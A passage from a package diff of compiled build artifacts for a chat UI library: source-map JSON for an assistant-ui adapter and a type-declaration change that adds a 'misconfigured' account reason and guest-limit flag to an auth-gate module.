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"}
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/assistant-ui/index.ts"],"names":[],"mappings":"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"}
@@ -1,7 +1,7 @@
1
1
  import type { Talk2View } from '../index.js';
2
2
  import type { User } from '../types.js';
3
3
  /** Why the Account view opened by itself, if it did. */
4
- export type AccountReason = 'guest-limit' | 'demo-limit' | null;
4
+ export type AccountReason = 'guest-limit' | 'demo-limit' | 'misconfigured' | null;
5
5
  export declare const REASON_COPY: Record<Exclude<AccountReason, null>, string>;
6
6
  export type AccountState = {
7
7
  status: 'none' | 'guest' | 'signed-in';
@@ -15,6 +15,8 @@ export interface GuestLimits {
15
15
  demoLimitReached: boolean;
16
16
  /** The engine will not start a guest session at all. */
17
17
  anonymousUnavailable: boolean;
18
+ /** The engine rejected this app's partner key: nobody can chat here. */
19
+ misconfigured: boolean;
18
20
  }
19
21
  /**
20
22
  * Track the two ways a guest is turned away, for as long as the chat is on the
@@ -1 +1 @@
1
- {"version":3,"file":"auth-gate.d.ts","sourceRoot":"","sources":["../../src/chat/auth-gate.tsx"],"names":[],"mappings":"AAYA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,KAAK,EAAE,IAAI,EAAE,MAAM,aAAa,CAAC;AAExC,wDAAwD;AACxD,MAAM,MAAM,aAAa,GAAG,aAAa,GAAG,YAAY,GAAG,IAAI,CAAC;AAEhE,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,OAAO,CAAC,aAAa,EAAE,IAAI,CAAC,EAAE,MAAM,CAGpE,CAAC;AAEF,MAAM,MAAM,YAAY,GAAG;IAAE,MAAM,EAAE,MAAM,GAAG,OAAO,GAAG,WAAW,CAAC;IAAC,IAAI,EAAE,IAAI,GAAG,IAAI,CAAA;CAAE,CAAC;AAUzF,8EAA8E;AAC9E,wBAAgB,UAAU,CAAC,MAAM,EAAE,SAAS,GAAG,YAAY,CAkB1D;AAED,2DAA2D;AAC3D,MAAM,WAAW,WAAW;IAC1B,2CAA2C;IAC3C,gBAAgB,EAAE,OAAO,CAAC;IAC1B,wDAAwD;IACxD,oBAAoB,EAAE,OAAO,CAAC;CAC/B;AAID;;;;;;;;;GASG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,SAAS,GAAG,WAAW,CA4B7D;AAED,MAAM,WAAW,QAAQ;IACvB,8EAA8E;IAC9E,KAAK,EAAE,OAAO,CAAC;IACf,2EAA2E;IAC3E,MAAM,EAAE,aAAa,CAAC;IACtB,OAAO,EAAE,YAAY,CAAC;CACvB;AAED;;;GAGG;AACH,wBAAgB,WAAW,CACzB,MAAM,EAAE,SAAS,EACjB,cAAc,EAAE,OAAO,EACvB,MAAM,EAAE,WAAW,GAClB,QAAQ,CAYV"}
1
